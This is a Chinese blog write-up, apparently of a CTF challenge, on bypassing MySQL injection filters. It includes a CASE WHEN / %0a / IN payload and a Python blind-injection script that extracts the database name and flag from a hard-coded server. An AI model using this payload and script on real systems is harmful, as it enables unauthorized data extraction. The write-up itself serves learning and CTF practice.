当前位置:首页 » 《随便一记》 » 正文

记一次MySQL注入绕过_末初 · mochu7

3 人参与  2022年02月27日 12:51  分类 : 《随便一记》  评论

点击全文阅读


来源于今天一位朋友叫我帮忙看的题目

在这里插入图片描述
查看源码发现提示
在这里插入图片描述
存在过滤且,limit参数只能为单个数字
在这里插入图片描述
在这里插入图片描述
fuzz一下sql注入关键字看看都过滤了哪些字符
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
直接在class参数插入exp(100)回显正常,插入exp(1000)发现返回database error;说明此处sql注入可直接插入执行,其次如果sql语句执行错误会返回报错提示;

那么就可以做布尔盲注了,但是比较棘手的是过滤了逗号,;不能使用if进行条件判断;绕过逗号的方法from x for y不能在if中使用。

  • if无法使用可以用case when [express] then [x] else [y] end代替
  • 空格绕过可以使用括号()或者%0a
  • =likeregexp被过滤可以用in(不过in对字符大小写不敏感)
class=case%0awhen%0a(2)in(1)%0athen%0aexp(1000)else%0a1%0aend&limit=4

在这里插入图片描述
在这里插入图片描述
编写脚本

from urllib.parse import urlencode
from urllib.parse import unquote
import requests


burp0_url = "http://123.60.32.152:80/"
burp0_headers = {"Content-Type": "application/x-www-form-urlencoded"}
all_str = "0123456789abcdefghijklmnopqrstuvwxyz!\"#$%&\\'()*+,-./:;<=>?@[\\]^_`{|}~"


flag = ''
for leng in range(1,50):
	for char in all_str:
		payload = "case%0awhen%0amid(database()from({})for(1))%0ain%0a(0x{})%0athen%0aexp(1000)%0aelse%0a1%0aend".format(leng, hex(ord(char))[2:])
		#payload = "case%0awhen%0amid((select%0aflag%0afrom%0aflag)from({})for(1))%0ain%0a(0x{})%0athen%0aexp(1000)%0aelse%0a1%0aend".format(leng, hex(ord(char))[2:])
		burp0_data = {"class": unquote(payload), "limit": "4"}
		resp = requests.post(burp0_url, headers=burp0_headers, data=urlencode(burp0_data))
		if 'error' in resp.text:
			flag += char
			print(flag)
		else:
			continue
		# print(resp.text)
		# print(resp.request.body)

在这里插入图片描述
得到数据名称:babysql
直接按照前面的提示查flag
在这里插入图片描述


点击全文阅读


本文链接:http://m.zhangshiyu.com/post/35474.html

过滤  插入  可以用  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

最新文章

  • 高冷校草捂不热,热恋竹马他悔了!(岑梨傅辞衍)_高冷校草捂不热,热恋竹马他悔了!(岑梨傅辞衍)
  • 月亮近在咫尺小说无删减阅读无干扰(周既明高凌)番外+续集
  • 嫡姐抢亲,她转身嫁王爷夺江山后续(云七夕单连城)(嫡姐抢亲,她转身嫁王爷夺江山)整本畅享在线+无广告结局
  • 冒充新帝皇嫂,被强制爱了续集(冒充新帝皇嫂,被强制爱了)章节前文+全书阅读(冯幼萤萧仰)最新连载
  • 完结文假装失忆后,我终于才知道谁最爱我列表_完结文假装失忆后,我终于才知道谁最爱我(夏晚夏柠)
  • 商业联姻没感情,咦?不对劲!(黎夏贺聿琛)全书免费_(黎夏贺聿琛)商业联姻没感情,咦?不对劲!后续(黎夏贺聿琛)
  • 全球高武我的召唤兽画风清奇列表_全球高武我的召唤兽画风清奇(叶青青李娜)
  • 小妻不乖:坏坏老公,晚上见小说完本章节前文+全篇阅读(盛司珩沈繁星)连载中
  • 高分_他死后春风难渡(顾骁萧若姗)(他死后春风难渡)全本完整阅读
  • 替身新娘撕毁婚约后,冷情总裁红了眼(季凉城许清颜),替身新娘撕毁婚约后,冷情总裁红了眼
  • 将我妖丹剜给心上人后,他哭瞎双眼求我原谅(戚竹月慕轻尘)_将我妖丹剜给心上人后,他哭瞎双眼求我原谅戚竹月慕轻尘
  • 全民船娘我的船娘全是BUG级!(郑郝周航)_全民船娘我的船娘全是BUG级!郑郝周航

    关于我们 | 我要投稿 | 免责申明

    Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1